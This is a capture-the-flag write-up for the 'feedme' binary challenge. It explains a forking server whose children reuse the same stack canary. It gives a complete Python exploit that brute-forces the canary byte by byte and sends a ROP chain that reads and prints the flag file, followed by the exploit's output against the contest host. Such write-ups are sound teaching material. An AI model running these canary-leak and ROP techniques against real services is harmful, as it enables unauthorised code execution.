First at all execute file
command on the binary
$ file feedme
feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
and with checksec
we see that NX is enabled and debugging a little bit we realize that the usage of the binary is simple: a “parent” process launches child processes that takes 1 byte x
, then reads x
number of bytes. But the length of the buffer is 32, so if we send “\x36” + “A”*0x36 the canary is overwritten and smash the stack detected.
So we have to leak the canary in order to overwrite the return address. The bug was that child’s canary is always the same, so we can try to send 0x32 bytes of garbage and bruteforce the 33th byte (easy, always \x00
), then the 34th, then the 35th and 36th one.
This part of the exploit is
#!/usr/bin/env python2
import sys, socket, telnetlib
from struct import *
import random
import time
import binascii
import time
def recvuntil(t):
data = ''
while not data.endswith(t):
tmp = s.recv(1)
if not tmp: break
data += tmp
return data
def interactive():
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p32(x): return pack('<I', x)
def u32(x): return unpack('<I', x)[0]
def p64(x): return pack('<Q', x)
def u64(x): return unpack('<Q', x)[0]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))
recvuntil("FEED ME!\n")
canary = "\x00"
while len(canary)!=4:
for brute in range(0,255):
#print brute
init = binascii.unhexlify(hex(32+len(canary)+1)[2:])
garbage = "A"*32
if len(hex(brute)[2:])==1:
pad = "0"
else:
pad = ""
tryLeakByteCanary = binascii.unhexlify(pad + hex(brute)[2:])
s.send(init + garbage + canary+ tryLeakByteCanary)
data = recvuntil("FEED ME!\n")
if "YUM" in data:
print "LEAKED: " + str(tryLeakByteCanary)
print data
canary += tryLeakByteCanary
break
and then we write a ROPchain that reads flag
string, open flag
file and write its content to std output (we spent a lot of time trying to execve /bin/sh, we wrote custumized ROPchain also. Only after some hours we decided to follow this way. After solving the challenge we read on IRC “pwnables have busybox -> /bin/sh. Your execve shell code is probably broken” -> ** off!).
p = ''
p += p32(0x080bb496) #pop eax
p += p32(0x3)#read sys
p += p32(0x0806f370) #pop edx pop ecx pop ebx
p += p32(0x5)#flag\x00
p += p32(0x080eaf80)#BSS address
p += p32(0x0)
p += p32(0x0806FA20) #int 80; ret
p += p32(0x080bb496) #pop eax
p += p32(0x5) #fopen
p += p32(0x0806f370) #pop edx pop ecx pop ebx
p += p32(0x0)
p += p32(0x0)
p += p32(0x080eaf80) #address of flag string
p += p32(0x0806FA20) #int 80; ret
p += p32(0x080bb496) #pop eax
p += p32(0x3) #read sys
p += p32(0x0806f370) #pop edx pop ecx pop ebx
p += p32(0x100) #length
p += p32(0x080ea060) #.data address
p += p32(0x2) #FD
p += p32(0x0806FA20) #int 80; ret
p += p32(0x080bb496) #pop eax
p += p32(0x4) #write sys
p += p32(0x0806f370) #pop edx pop ecx pop ebx
p += p32(0x100) #length
p += p32(0x080ea060)#address
p += p32(0x01) #FD
p += p32(0x0806FA20) #int 80; ret
PWN THEM!!
init = binascii.unhexlify(hex(len(garbage + canary + "A"*12 + p))[2:])
s.send(init + garbage + canary + "A"*12 + p)
print recvuntil("...\n")
print "interactive "
s.send("flag\x00")
interactive()
$ python exploit.py feedme_47aa9b0d8ad186754acd4bece3d6a177.quals.shallweplayaga.me 4092
LEAKED: R
ATE 41414141414141414141414141414141...
YUM, got 34 bytes!
Child exit.
FEED ME!
LEAKED:
ATE 41414141414141414141414141414141...
YUM, got 35 bytes!
Child exit.
FEED ME!
LEAKED: �
ATE 41414141414141414141414141414141...
YUM, got 36 bytes!
Child exit.
FEED ME!
CHECK len(canary): 4
�anary: R
PWN THEM!!
ATE 41414141414141414141414141414141...
interactive
The flag is: It's too bad! we c0uldn't??! d0 the R0P CHAIN BLIND TOO
��������@�
Child exit.
FEED ME!
Files for this challenge can be found here.